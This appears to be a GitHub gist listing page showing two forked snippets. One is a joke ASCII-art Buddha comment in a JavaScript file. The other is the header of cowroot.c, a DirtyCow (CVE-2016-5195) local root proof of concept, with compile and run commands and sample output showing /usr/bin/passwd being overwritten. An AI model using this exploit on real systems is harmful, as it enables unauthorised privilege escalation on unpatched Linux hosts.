Skip to content

Instantly share code, notes, and snippets.

View IanSmith123's full-sized avatar
🎯
Focusing

Les1ie IanSmith123

🎯
Focusing
View GitHub Profile
@IanSmith123
IanSmith123 / index.js
Created April 3, 2018 03:55 — forked from edokeh/index.js
佛祖保佑,永无 BUG
//
// _oo0oo_
// o8888888o
// 88" . "88
// (| -_- |)
// 0\ = /0
// ___/`---'\___
// .' \\| |// '.
// / \\||| : |||// \
// / _||||| -:- |||||- \
@IanSmith123
IanSmith123 / cowroot.c
Created October 27, 2016 08:12 — forked from rverton/cowroot.c
CVE-2016-5195 (DirtyCow) Local Root PoC
/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten